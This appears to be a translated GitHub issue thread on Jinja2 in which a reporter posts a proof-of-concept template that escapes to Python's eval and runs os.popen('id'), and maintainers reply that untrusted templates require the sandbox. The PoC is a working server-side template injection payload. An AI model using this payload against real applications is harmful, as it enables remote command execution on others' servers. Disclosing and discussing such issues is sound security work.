Jinja: Ejecute códigos arbitrarios en plantilla sin entorno de caja de arena.

Creado en 23 feb. 2016  ·  6Comentarios  ·  Fuente: pallets/jinja

Cuando utilizo el marco de plantilla Jinja2 en mi proyecto, encontré una manera de llamar a "os.popen ('id')" u otras funciones sin registro global.
Es fácil obtener el shell cuando el atacante puede controlar el contenido de la plantilla. ¿Es ese ese diseño?

PoC:

from jinja2 import Template

content = '''
{% for c in [].__class__.__base__.__subclasses__() %} {% if c.__name__ == 'catch_warnings' %}
{% for b in c.__init__.func_globals.values() %} {% if b.__class__ == {}.__class__ %}
{% if 'eval' in b.keys() %}
{{ b['eval']('__import__("os").popen("id").read()') }}
{% endif %} {% endif %} {% endfor %}
{% endif %} {% endfor %}
'''
print Template(content).render()

Probé este código con python2 (2.7.10) y Jinja2 (2.8), si funciona imprimirá el uid de su usuario ...

Comentario más útil

No debe ejecutar plantillas que no sean de confianza en un entorno que no sea de espacio aislado. Esa es exactamente la razón por la que existe la caja de arena (y para ser honesto, incluso con una caja de arena no permitiría que los usuarios proporcionen plantillas Jinja arbitrarias)

Todos 6 comentarios

No debe ejecutar plantillas que no sean de confianza en un entorno que no sea de espacio aislado. Esa es exactamente la razón por la que existe la caja de arena (y para ser honesto, incluso con una caja de arena no permitiría que los usuarios proporcionen plantillas Jinja arbitrarias)

Entonces, ¿es necesario tomar medidas para prevenir este caso? Creo que alguna aplicación específica permitiría a los usuarios editar el contenido de la plantilla, pero no hay ejemplos prácticos.

Creo que es necesario usar sandbox por defualt, porque flask u otro framework web usado Jinja2 no hace esto.

¿Por qué querrías usar la caja de arena de forma predeterminada? En la mayoría de los casos, las plantillas no pueden ser cambiadas por personas que no son de confianza y que no tienen acceso al código de todos modos.

Hay un caso sobre la ejecución remota de código a través de la inyección de plantilla Flask / Jinja2 en Uber.
enlace: http://www.tuicool.com/articles/uE3YNjY

Habilitar la zona de pruebas de forma predeterminada no es posible debido a la compatibilidad con versiones anteriores, y tampoco es razonable porque la mayoría de las plantillas (en Flask) son confiables.

¿Fue útil esta página
0 / 5 - 0 calificaciones